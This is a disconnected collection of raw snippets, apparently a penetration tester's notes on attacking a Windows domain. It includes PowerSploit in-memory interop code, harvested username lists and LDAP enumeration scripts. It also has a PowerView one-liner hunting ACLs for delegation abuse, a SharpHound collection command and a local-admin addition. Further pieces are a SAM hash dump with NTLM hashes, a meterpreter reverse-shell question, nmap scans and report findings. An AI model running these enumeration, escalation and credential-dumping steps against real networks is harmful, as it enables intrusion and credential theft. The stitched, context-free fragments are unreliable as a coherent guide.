Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
    [CmdletBinding()]
    Param (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )
    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
    $LoadedAssemblies = $AppDomain.GetAssemblies()
    foreach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }
    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = $AppDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
    return $ModuleBuilder
}
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func {
    Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $DllName,
        [Parameter(Position = 1, Mandatory = $True)]
        [string]
        $FunctionName,
        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $ReturnType,
        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,
        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,
        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,
        [String]
        $EntryPoint,
        [Switch]
        $SetLastError
    )
    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }
    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
    New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER EntryPoint
The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
  (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
  (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
  (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $DllName,
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $FunctionName,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $EntryPoint,
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [Type]
        $ReturnType,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Type[]]
        $ParameterTypes,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Switch]
        $SetLastError,
        [Parameter(Mandatory=$True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,
        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )
    BEGIN
    {
        $TypeHash = @{}
    }
    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            # Define one type for each DLL
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }
            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)
            # Make each ByRef parameter an Out parameter
            $i = 1
            foreach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $null)
                }
                $i++
            }
            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            $EntryPointField = $DllImport.GetField('EntryPoint')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
            if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
            # Equivalent to C# version of [DllImport(DllName)]
            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField,
                                           $CallingConventionField,
                                           $CharsetField,
                                           $EntryPointField),
                [Object[]] @($SLEValue,
                             ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
                             ([Runtime.InteropServices.CharSet] $Charset),
                             $ExportedFuncName))
            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }
    END


_raw:
aallen
abaker
abaker2
abennet
abennet2
abennet3
abrooks
abrooks2
abrown
acampbell
acarter
acarter2
acarter3
acastillo
achavez
aclark
aclark2
acooper
acox
acruz
adavis
adavis2
adiaz
adiaz1
adiaz11
Admin
Administrator
aedwards
aedwards2
aevans
aflores
afoster
afoster2
afoster3
agarcia
agarcia2
agomez
agomez2
agomez3
agonzales
agonzales2
agutierrez
ahernandez
ahernandez2
ahill
ahoward
ahoward2
ahughes
ai.svc
ajames
ajimenez
ajones
ajones2
akim
alee
alewis
alewis2
along
alopez
amartin
amartinez
amartinez2
amartinez3
amendoza
amendoza2
amitchell
amoore
amorgan
amorris
amurphy
amyers
aname
aname2
anelson
anguyen
anguyen2
aortiz
aortiz2
apatel
aperez
aperez2
aperez3
apeterson
aphillips
apowell
aprice
aramirez
areyes
areyes2
areyes3
arichardson
arivera
arivera2
arivera3
aroberts
aroberts2
arodriguez
arodriguez2
arogers
arogers2
aross
aross1
aross2
aruiz
aruiz2
asanders
asanders2
ascott
asmith
asmith1
asmith2
astewart
astewart2
ataylor
athompson
atorres2
awalker
award
awhite
awhite1
awhite2
awilliams
awilliams2
awilliams3
awood
awood2
awood3
ayoung
ayoung2
badams
BB-A003
BB-A006
BB-A009
BB-A016
BB-A019
BB-A026
BB-A029
BB-A030
BB-A033
BB-A035
BB-A047
BB-A048
BB-A052
BB-A054
BB-A055
BB-A056
BB-A057
BB-A059
BB-A063
BB-A064
BB-A065
BB-A067
BB-A069
BB-A071
BB-A091
BB-A092
BB-A100
BB-A103
BB-A105
BB-A107
BB-A110
BB-A115
BB-A119
BB-A124
BB-A126
BB-A127
BB-A138
BB-A139
BB-A147
BB-A150
BB-A153
BB-A163
BB-A173
BB-A179
BB-A181
BB-A184
BB-A186
BB-A188
BB-A190
BB-A197
BB-A201
BB-A203
BB-A208
BB-A211
BB-A212
BB-A213
BB-A216
BB-A217
BB-A219
BB-A226
BB-A230
BB-A235
BB-A240
BB-A250
BB-A256
BB-A261
BB-A262
BB-A265
BB-A274
BB-A275
BB-A277
BB-A279
BB-A280
BB-A285
BB-A287
BB-A293
BB-A295
BB-B010
BB-B011
BB-B014
BB-B017
BB-B025
BB-B030
BB-B031
BB-B033
BB-B034
BB-B039
BB-B050
BB-B054
BB-B056
BB-B060
BB-B066
BB-B069
BB-B070
BB-B072
BB-B075
BB-B082
BB-B085
BB-B089
BB-B093
BB-B094
BB-B104
BB-B107
BB-B110
BB-B117
BB-B120
BB-B124
BB-B125
BB-B129
BB-B132
BB-B142
BB-B143
BB-B145
BB-B148
BB-B158
BB-B161
BB-B162
BB-B164
BB-B165
BB-B169
BB-B172
BB-B175
BB-B189
BB-B195
BB-B208
BB-B219
BB-B220


_raw:
$ds = New-Object System.DirectoryServices.DirectorySearcher
$ds.PageSize = 1000
$ds.Filter = "(&(objectCategory=person)(objectClass=user))"
$ds.PropertiesToLoad.Add("sAMAccountName") | Out-Null
$ds.FindAll() | ForEach-Object { $_.Properties["samaccountname"] } |
  Sort-Object | Out-File C:\temp\samaccountnames.txt -Encoding UTF8


_raw:
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.PageSize = 1000
$search.Filter = "(&(objectCategory=person)(objectClass=user))"
$search.PropertiesToLoad.AddRange(@("sAMAccountName","displayName","userPrincipalName","mail","userAccountControl"))
$results = $search.FindAll()
$users = foreach ($r in $results) {
  $props = $r.Properties
  [PSCustomObject]@{
    SamAccountName   = ($props.sAMAccountName -join ',')
    DisplayName      = ($props.displayname -join ',')
    UserPrincipalName= ($props.userprincipalname -join ',')
    Mail             = ($props.mail -join ',')
  }
}
$users | Export-Csv C:\temp\AD_users_ADSI.csv -NoTypeInformation -Encoding UTF8


_raw: sudo apt install ./docker-desktop-*-amd64.deb


_raw: sudo apt install docker-ce docker-ce-cli containerd.io uidmap


_raw:
echo \
"deb [arch=amd64] https://download.docker.com/linux/debian bullseye stable" | \
sudo tee /etc/apt/sources.list.d/docker.list


_raw:
curl -fsSL https://download.docker.com/linux/debian/gpg | \
sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-archive-keyring.gpg


_raw: sudo apt -y install apt-transport-https ca-certificates curl software-properties-common


_raw: The repository 'https://download.docker.com/linux/debian kali-rolling Release' does not have a Release file.


_raw:
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update


_raw: for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done


_raw: sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin


_raw:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update


_raw:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc


_raw:
Administrator
Guest
Admin
BB-A139
nthomas
CS-C021
BB-C195
PP-C146
BB-B010
DD-A282
sthomas
fcooper2
njones
mmorris
BB-D125
aedwards
CS-D273
frodriguez
BB-A163
abennet
DD-D115
DD-B098
DD-C169
PP-C185
BB-C228
ldiaz
CS-A107
dgutierrez
mjohnson
PP-A045
kmartin
BB-D133
ssanchez
BB-C052
nlewis
CS-B144
FV-C143
PP-D275
BB-B039
CS-C114
hcox
rcarter
ayoung2
dcastillo
BB-D300
PP-D228
PP-D100
DD-B166
PP-A004
DD-A274
BB-D266
ganderson
DD-A198
awhite1
FV-D293
hpeterson
fturner
DD-A207
BB-A201
aperez2
FV-D245
BB-B287
bedwards2
PP-A298
FV-D066
croberts
cwhite
kjackson
PP-A212
zpeterson
wmendoza
DD-D218
PP-D159
DD-C248
CS-C096
PP-C070
FV-D194
DD-D079
DD-D252
PP-A057
BB-C102
BB-B094
PP-D213
CS-D033
mfoster2
CS-B222
rhughes
imiller
ahernandez2
hmitchell
PP-C229
DD-C244
ahernandez
mmorgan
DD-C108
xbennett
tevans
dcarter2
mhoward
DD-D170
PP-D008
agutierrez
asanders2
arodriguez
aname2
PP-A117
DD-B100
BB-D228
BB-D230
awood2
DD-A255
bflores
DD-D103
ipowell
FV-B137
CS-A155
pclark
PP-A118
FV-B207
BB-C139
DD-A058
ktorres
jwatson
PP-D113
BB-D023
PP-D010
FV-B046
crichardson
lrodriguez
CS-A099
ffoster
PP-A209
DD-D250
ccarter2
DD-C220
BB-A197
PP-D064
dhoward
klopez
DD-C228
DD-A224
BB-D236
DD-B091
DD-B123
DD-A245
CS-B029
rbaker
BB-A069
FV-C132
BB-B246
tflores
wcampbell
DD-B049
PP-C008
PP-A268
PP-B025
djackson3
rjones
BB-B082
nlee2
PP-C093
DD-C298
DD-C005
BB-D283
BB-B256
aevans
rdavis2
DD-A121
DD-D081
BB-D117
DD-D177
khall
PP-A244
FV-B001
BB-C166
cclark
PP-B028
DD-D158
gtaylor
DD-A194
DD-D258
dtaylor
BB-A071
mdiaz
BB-D010
mphillips2
DD-B141
PP-B273
FV-A183
PP-A226
bjackson
CS-C045
DD-B186
CS-C164
ethompson2
DD-A226
PP-A202
zlee
PP-A052
gwilson
DD-C021
jramirez
PP-A275
PP-C024
DD-C061
mbennet
mrogers
DD-D253
ajimenez
awood
lcollins
radams2
DD-D118
CS-A286
btorres
kgray
PP-D062
DD-A035
PP-D019
PP-D151
BB-D270
DD-C058
BB-B125
ehill
PP-B021
PP-A151
CS-B221
rcook
nmyers
dparker
kmiller3
DD-B155
DD-C237
DD-C203
ecarter2
mphillips
DD-B096
PP-D265
DD-D063
vramirez
cdiaz
BB-A295
BB-A105
DD-A180
amurphy
BB-C090
FV-B184
FV-C114
PP-B099
mmartin
ebaker
gmartinez
aprice
PP-D084
DD-A223
FV-B172
zflores


_raw: $usersid = get-domainuser | select -exp objectsid; "Got user SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $usersid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }


_raw:
Get-DomainGroupMember "Domain Admins" -Recurse
GroupDomain             : it.gcb.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=it,DC=gcb,DC=local
MemberDomain            : it.gcb.local
MemberName              : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=it,DC=gcb,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-948911695-1962824894-4291460450-500


_raw: Get-NetGroup -Domain internal.msp.local | select name


_raw: Add-LocalGroupMember -Group "Administrators" -Member "Admin02"


_raw:
ldapsearch -x -H ldap://ldap.example.com -b "dc=example,dc=com" \
  "(&(objectClass=person))" \
  cn uid mail uidNumber gidNumber -LLL


_raw:
ldapsearch -x -H ldap://ad.example.com -b "DC=example,DC=com" \
  "(& (objectCategory=person) (!(objectClass=computer)) )" \
  sAMAccountName displayName mail whenCreated distinguishedName -LLL


_raw: .\SharpHound.exe --CollectionMethods All --ZipFileName generic


_raw:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa8db28d71052248f10486f6849e0e5e7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8637359b33589ddae398230f3266f5ef:::
cloudbase-init:1000:aad3b435b51404eeaad3b435b51404ee:cd20d01bdfece838da146e804a34e171:::
Admin:1001:aad3b435b51404eeaad3b435b51404ee:e41c8f51c2c33150de22f955232b24ce:::
[*] Dumping cached domain logon information (domain/username:hash)


_raw: if i use msfvenom if windows/x64/meterpreter/reverse_tcp, when i use exploit/multi/handler what should i select i dont want the generic tcp reverse


_raw: Microsoft Windows [Version 10.0.20348.587]


_raw: [[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)


_raw:
Guest Account Enabled
The guest account is enabled on Deckhand-01 and Deckhand-02. The guest account is also in remote desktop user group, which allows unprivileged attackers to gain a foothold on workstations. If attackers get a foothold on systems, they can possibly escalate privileges on the machine and within the domain
Execssive Administrators Group membership
Deckhand-01 has excessive Administrators group membership. This along with the guest account being enabled allows attackers to have full compromise of the windows machine without any privileges or credentials. This can lead to attackers possibly pivoting and escalating privileges on other windows machines within the domain.


_raw: Execssive Administrators Group membership


_raw:
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-18 16:23:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.0.1.10
Host is up (0.00077s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.11
Host is up (0.00079s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http
8000/tcp open  http    Uvicorn
8045/tcp open  http    Uvicorn
8081/tcp open  http    Node.js Express framework
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.95%I=7%D=10/18%Time=68F3BEFC%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1434,"HTTP/1\.1\x20200\x20OK\r\nX-Robots-Tag:\x20noindex\r\nAcc
SF:ess-Control-Allow-Origin:\x20\*\r\nCache-Control:\x20no-cache,\x20no-st
SF:ore,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x204831\r\n
SF:ETag:\x20W/\"12df-8ztLYnBf9fwvhg3MbB2KuLXs0Po\"\r\nVary:\x20Accept-Enco
SF:ding\r\nDate:\x20Sat,\x2018\x20Oct\x202025\x2016:23:25\x20GMT\r\nConnec
SF:tion:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\">\n\x2
SF:0\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20
SF:\x20\x20<base\x20href=\"/\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"them
SF:e-color\"\x20content=\"#171717\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\
SF:"mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\x20\x20\x20\x20<me
SF:ta\x20name=\"apple-mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\
SF:x20\x20\x20\x20<meta\x20name=\"apple-mobile-web-app-status-bar-style\"\
SF:x20content=\"black-translucent\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\
SF:"description\"\x20content=\"LibreChat\x20-\x20An\x20open\x20source\x20c
SF:hat\x20application\x20with\x20support\x20for\x20multiple\x20AI\x20model
SF:s\"\x20/>\n\x20\x20\x20\x20<title>LibreChat</title>\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"icon\"\x20type=\"image/png\"\x20sizes=\"32x32\"\x20href")%
SF:r(HTTPOptions,101,"HTTP/1\.1\x20204\x20No\x20Content\r\nX-Robots-Tag:\x
SF:20noindex\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow
SF:-Methods:\x20GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary:\x20Access-Control-
SF:Request-Headers\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2018\x20Oct\x
SF:202025\x2016:23:25\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReque
SF:st,101,"HTTP/1\.1\x20204\x20No\x20Content\r\nX-Robots-Tag:\x20noindex\r
SF:\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x
SF:20GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary:\x20Access-Control-Request-Hea
SF:ders\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2018\x20Oct\x202025\x201
SF:6:23:25\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(X11Probe,2F,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.14
Host is up (0.00096s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     nginx 1.18.0
443/tcp  open  ssl/http nginx 1.18.0
5001/tcp open  http     Gunicorn
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.15
Host is up (0.00075s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.44
8080/tcp open  http    Apache httpd 2.4.25 ((Debian))
8081/tcp open  http    nginx
8090/tcp open  http    Jetty 9.4.48.v20220622
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.20
Host is up (0.00073s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.0.1.21
Host is up (0.00075s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6000/tcp open  X11?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.0.1.30
Host is up (0.00076s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.99
Host is up (0.00081s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
443/tcp  open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
3306/tcp open  mysql    MySQL 8.0.43
8080/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.254
Host is up (0.00049s latency).
All 1000 scanned ports on 10.0.1.254 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (11 hosts up) scanned in 72.10 seconds


_raw:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 12:23 EDT
Nmap scan report for 10.0.1.1
Host is up (0.00057s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE    VERSION
53/tcp open  tcpwrapped
Nmap scan report for 10.0.1.6
Host is up (0.00072s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus


_raw: AttributeValue        : CN=dfm,CN=Users,DC=testlab,DC=local


_raw: ObjectDN              : CN=Domain Admins,CN=Users,DC=testlab,DC=local


_raw: LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First


_raw: AttributeValue        : CN=Administrator,CN=Users,DC=testlab,DC=local


_raw: AttributeValue        : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local


_raw: ObjectDN              : CN=ServerAdmins,CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local


_raw: VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))


_raw: VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local


_raw: 'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose


_raw: Get-DomainGroup *admin* | select distinguishedname


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.


_raw: Specifies a specific property to search for when performing the group search.


